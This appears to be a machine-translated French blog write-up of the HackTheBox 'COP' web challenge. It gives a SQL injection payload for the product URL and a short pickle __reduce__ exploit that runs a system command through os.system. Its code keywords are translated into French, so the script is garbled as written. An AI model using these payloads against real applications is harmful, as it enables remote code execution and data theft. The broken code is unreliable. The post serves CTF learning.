Nous avons couvert la bibliothèque Python Pickle et expliqué pourquoi elle n'est plus sécurisée. De plus, nous avons démontré comment exploiter une application Web implémentant la bibliothèque pickle ainsi que l'injection SQL. Cela faisait partie de Défi web HackTheBox COP.

Obtenir les notes du certificat OSCP

Le cours complet de tests d'intrusion avec BackBox

DESCRIPTION DU DÉFI

Le COP (Cult of Pickles) a ouvert une nouvelle boutique en ligne pour vendre ses produits. Nous pensons que les fonds sont utilisés pour mener des opérations de propagande illicites à base de cornichons ! Enquêtez sur le site et essayez de trouver un moyen d'accéder à leur fonctionnement !

Faits saillants de la vidéo

L'URL vulnérable :

http://ip:port/product/view/1

Le paramètre « 1 » peut être remplacé par une charge utile SQL classique telle que « OU « 1 » = »1

Le code source du défi révèle que l'application Web utilise le décapage Python pour sérialiser et désérialiser les données.

Le module pickle implémente des protocoles binaires pour sérialiser et désérialiser une structure d'objet Python. _« Pickling »_ est le processus par lequel une hiérarchie d'objets Python est convertie en un flux d'octets, et _« unpickling »_ est l'opération inverse, par laquelle un flux d'octets (à partir d'un fichier binaire ou d'un objet de type octets est reconverti en un hiérarchie des objets.

Python a déclaré que le décapage de pickle n'est pas sécurisé car il est possible de construire des données de pickle malveillantes qui **exécuteront du code arbitraire pendant le décapage**. Ne décapez jamais des données qui auraient pu provenir d'une source non fiable, ou qui auraient pu être falsifiées comme le dit Python. Le décapage et le décapage peuvent être effectués en utilisant respectivement `pickle.dumps` et `pickle.loads`.
L'exploitation de `pickle` peut être effectuée en utilisant `__reduce__` qui nous permet d'obtenir l'exécution de code dans les données picklées.
Finalement, le but de l'exploitation de « pickle » est de créer/modifier un pickle pour exécuter des commandes système sur la cible.

Nous avons utilisé le code d'exploitation ci-dessous pour résoudre le défi.

importer système
importer base64
importer cornichon
importer urllib.parse
importer demandes
importer système d'exploitation

charge utile = « cp flag.txt application/static/. »

classe Exp.:

déf __réduire__(soi):
retour os.system, (charge utile,)

si __nom__ == "__principal__":

charge utile = base64.b64encode(pickle.dumps(Exp())).decode()

imprimer(charge utile)

Vidéo pas à pas

A propos de l'Auteur

Je crée des notes de cybersécurité, des notes de marketing numérique et des cours en ligne. Je fournis également des conseils en marketing numérique, y compris, mais sans s'y limiter, le référencement, les publicités Google et Meta et l'administration CRM.

Voir les Articles